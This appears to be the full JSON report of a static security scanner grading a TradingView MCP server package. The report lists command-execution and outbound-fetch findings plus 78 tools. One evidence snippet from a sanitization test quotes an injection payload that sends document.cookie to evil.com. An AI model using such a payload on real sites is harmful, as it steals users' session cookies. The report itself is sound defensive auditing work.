Tradingview — the complete, unedited output of the deterministic mcptrustchecker engine v1.13.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.13.0",
"methodologyVersion": "mcptrustchecker-1.13"
},
"target": {
"id": "tradingview-mcp",
"source": {
"kind": "package",
"origin": "tradingview-mcp"
},
"server": {
"name": "tradingview-mcp"
}
},
"grade": "A",
"score": {
"score": 92,
"threatScore": 100,
"grade": "A",
"band": "A",
"categorySubtotals": {
"injection": 0,
"exfiltration": 0,
"permissions": 0,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"kind": "client",
"term": "capability-exposure",
"level": "high",
"label": "capability blast radius (high) — client exposure if the model is manipulated",
"appliedPenalty": 6
},
{
"kind": "client",
"term": "verification-discount",
"level": "none",
"label": "publisher verification (unlinked) — no provenance/repo link, but the shipped source was fully read",
"appliedPenalty": 2
},
{
"kind": "client",
"term": "coverage-honesty",
"level": "source",
"label": "inspection depth (source) — how much of the target the scan could see",
"appliedPenalty": 0
}
],
"gatesFired": [],
"methodologyVersion": "mcptrustchecker-1.13"
},
"capability": {
"level": "high",
"reasons": [
"can send data / act on an external service",
"can execute shell commands or code"
],
"tags": [
"code-exec",
"external-sink"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": true,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"Tools were statically extracted from the published source (78 recovered), not enumerated from a running server. Tool-poisoning, Unicode-smuggling, capability and toxic-flow analysis ran on this inferred surface, but a mis-parsed registration could be missed or mis-attributed, so tool-derived findings are capped below “confirmed”. To grade the real runtime surface, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (src/core/health.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`src/core/health.js:6`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/core/health.js"
},
"evidence": "execSync, spawn } from 'child_process'; export async function healthCheck() { await getClient(); const target =",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "src/core/health.js",
"line": 6,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (src/connection.js)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/connection.js:91`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/connection.js"
},
"evidence": "{ const resp = await fetch(`http://${CDP_HOST}:${CDP_PORT}/json/list`); const targets = await resp.json(); // P",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "src/connection.js",
"line": 91,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (src/core/alerts.js)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/core/alerts.js:78`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/core/alerts.js"
},
"evidence": "it evaluateAsync(` fetch('https://pricealerts.tradingview.com/list_alerts', { credentials: 'include' }) .the",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "src/core/alerts.js",
"line": 78,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (src/core/chart.js)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/core/chart.js:225`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/core/chart.js"
},
"evidence": "const resp = await fetch(`https://symbol-search.tradingview.com/symbol_search/v3/?${params}`, { headers: { 'Or",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "src/core/chart.js",
"line": 225,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (src/core/pine.js)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/core/pine.js:190`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/core/pine.js"
},
"evidence": "const response = await fetch( 'https://pine-facade.tradingview.com/pine-facade/translate_light?user_name=Guest&pin",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "src/core/pine.js",
"line": 190,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (src/core/tab.js)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`src/core/tab.js:14`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "src/core/tab.js"
},
"evidence": "{ const resp = await fetch(`http://${CDP_HOST}:${CDP_PORT}/json/list`); const targets = await resp.json(); co",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "src/core/tab.js",
"line": 14,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint in packaging/dev tooling (tests/e2e.test.js)",
"category": "exfiltration",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/e2e.test.js:909`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/e2e.test.js"
},
"evidence": "const response = await fetch( 'https://pine-facade.tradingview.com/pine-facade/translate_light?user_name=Guest",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "tests/e2e.test.js",
"line": 909,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint in packaging/dev tooling (tests/pine_analyze.test.js)",
"category": "exfiltration",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/pine_analyze.test.js:252`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/pine_analyze.test.js"
},
"evidence": "const response = await fetch( 'https://pine-facade.tradingview.com/pine-facade/translate_light?user_name=Guest&p",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "tests/pine_analyze.test.js",
"line": 252,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint in packaging/dev tooling (tests/sanitization.test.js)",
"category": "exfiltration",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/sanitization.test.js:77`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/sanitization.test.js"
},
"evidence": "const payload = \"'); fetch('https://evil.com/steal?c=' + document.cookie); ('\"; const parsed = JSON.parse(safeSt",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "tests/sanitization.test.js",
"line": 77,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in packaging/dev tooling (tests/cli.test.js)",
"category": "permissions",
"severity": "low",
"confidence": "heuristic",
"description": "In a packaging/dev/install script (shipped, but not the server runtime) (`tests/cli.test.js:10`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "tests/cli.test.js"
},
"evidence": "eSync, execSync } from 'child_process'; import { join, dirname } from 'path'; import { fileURLToPath } from 'url'; im",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "tests/cli.test.js",
"line": 10,
"nonRuntime": true
}
},
{
"ruleId": "MTC-SUP-012",
"title": "Package has no license",
"category": "hygiene",
"severity": "info",
"confidence": "strong",
"description": "\"tradingview-mcp\" has no declared license. This is a legal/reuse concern, not a security finding.",
"location": {
"kind": "package",
"name": "tradingview-mcp"
}
},
{
"ruleId": "MTC-SUP-011",
"title": "Package declares no source repository",
"category": "supply-chain",
"severity": "info",
"confidence": "strong",
"description": "\"tradingview-mcp\" declares no repository URL, so its published artifact cannot be compared against reviewable source.",
"remediation": "Prefer packages that link to public, reviewable source.",
"location": {
"kind": "package",
"name": "tradingview-mcp"
}
}
],
"toxicFlows": [],
"capabilities": [
{
"tool": "alert_create",
"tags": [],
"reasons": {}
},
{
"tool": "alert_list",
"tags": [],
"reasons": {}
},
{
"tool": "alert_delete",
"tags": [],
"reasons": {}
},
{
"tool": "batch_run",
"tags": [],
"reasons": {}
},
{
"tool": "capture_screenshot",
"tags": [],
"reasons": {}
},
{
"tool": "chart_get_state",
"tags": [],
"reasons": {}
},
{
"tool": "chart_set_symbol",
"tags": [],
"reasons": {}
},
{
"tool": "chart_set_timeframe",
"tags": [],
"reasons": {}
},
{
"tool": "chart_set_type",
"tags": [],
"reasons": {}
},
{
"tool": "chart_manage_indicator",
"tags": [],
"reasons": {}
},
{
"tool": "chart_get_visible_range",
"tags": [],
"reasons": {}
},
{
"tool": "chart_set_visible_range",
"tags": [],
"reasons": {}
},
{
"tool": "chart_scroll_to_date",
"tags": [],
"reasons": {}
},
{
"tool": "symbol_info",
"tags": [],
"reasons": {}
},
{
"tool": "symbol_search",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_ohlcv",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_indicator",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_strategy_results",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_trades",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_equity",
"tags": [],
"reasons": {}
},
{
"tool": "quote_get",
"tags": [],
"reasons": {}
},
{
"tool": "depth_get",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_pine_lines",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_pine_labels",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_pine_tables",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_pine_boxes",
"tags": [],
"reasons": {}
},
{
"tool": "data_get_study_values",
"tags": [],
"reasons": {}
},
{
"tool": "draw_shape",
"tags": [],
"reasons": {}
},
{
"tool": "draw_list",
"tags": [],
"reasons": {}
},
{
"tool": "draw_clear",
"tags": [],
"reasons": {}
},
{
"tool": "draw_remove_one",
"tags": [],
"reasons": {}
},
{
"tool": "draw_get_properties",
"tags": [],
"reasons": {}
},
{
"tool": "tv_health_check",
"tags": [],
"reasons": {}
},
{
"tool": "tv_discover",
"tags": [],
"reasons": {}
},
{
"tool": "tv_ui_state",
"tags": [],
"reasons": {}
},
{
"tool": "tv_launch",
"tags": [],
"reasons": {}
},
{
"tool": "indicator_set_inputs",
"tags": [],
"reasons": {}
},
{
"tool": "indicator_toggle_visibility",
"tags": [],
"reasons": {}
},
{
"tool": "pane_list",
"tags": [],
"reasons": {}
},
{
"tool": "pane_set_layout",
"tags": [],
"reasons": {}
},
{
"tool": "pane_focus",
"tags": [],
"reasons": {}
},
{
"tool": "pane_set_symbol",
"tags": [],
"reasons": {}
},
{
"tool": "pine_get_source",
"tags": [],
"reasons": {}
},
{
"tool": "pine_set_source",
"tags": [],
"reasons": {}
},
{
"tool": "pine_compile",
"tags": [],
"reasons": {}
},
{
"tool": "pine_get_errors",
"tags": [],
"reasons": {}
},
{
"tool": "pine_save",
"tags": [],
"reasons": {}
},
{
"tool": "pine_get_console",
"tags": [],
"reasons": {}
},
{
"tool": "pine_smart_compile",
"tags": [],
"reasons": {}
},
{
"tool": "pine_new",
"tags": [],
"reasons": {}
},
{
"tool": "pine_open",
"tags": [],
"reasons": {}
},
{
"tool": "pine_list_scripts",
"tags": [],
"reasons": {}
},
{
"tool": "pine_analyze",
"tags": [],
"reasons": {}
},
{
"tool": "pine_check",
"tags": [],
"reasons": {}
},
{
"tool": "replay_start",
"tags": [],
"reasons": {}
},
{
"tool": "replay_step",
"tags": [],
"reasons": {}
},
{
"tool": "replay_autoplay",
"tags": [],
"reasons": {}
},
{
"tool": "replay_stop",
"tags": [],
"reasons": {}
},
{
"tool": "replay_trade",
"tags": [],
"reasons": {}
},
{
"tool": "replay_status",
"tags": [],
"reasons": {}
},
{
"tool": "tab_list",
"tags": [],
"reasons": {}
},
{
"tool": "tab_new",
"tags": [],
"reasons": {}
},
{
"tool": "tab_close",
"tags": [],
"reasons": {}
},
{
"tool": "tab_switch",
"tags": [],
"reasons": {}
},
{
"tool": "ui_click",
"tags": [],
"reasons": {}
},
{
"tool": "ui_open_panel",
"tags": [],
"reasons": {}
},
{
"tool": "ui_fullscreen",
"tags": [],
"reasons": {}
},
{
"tool": "layout_list",
"tags": [],
"reasons": {}
},
{
"tool": "layout_switch",
"tags": [],
"reasons": {}
},
{
"tool": "ui_keyboard",
"tags": [],
"reasons": {}
},
{
"tool": "ui_type_text",
"tags": [],
"reasons": {}
},
{
"tool": "ui_hover",
"tags": [],
"reasons": {}
},
{
"tool": "ui_scroll",
"tags": [],
"reasons": {}
},
{
"tool": "ui_mouse_click",
"tags": [],
"reasons": {}
},
{
"tool": "ui_find_element",
"tags": [],
"reasons": {}
},
{
"tool": "ui_evaluate",
"tags": [],
"reasons": {}
},
{
"tool": "watchlist_get",
"tags": [],
"reasons": {}
},
{
"tool": "watchlist_add",
"tags": [],
"reasons": {}
}
],
"surfaceDigest": "1d748f554986ce5cd9ae8ddaca00d4a48f20a77f02dd11ab241bf4a2d3c1c156",
"stats": {
"tools": 78,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 0,
"high": 1,
"medium": 5,
"low": 4,
"info": 2
}
}
}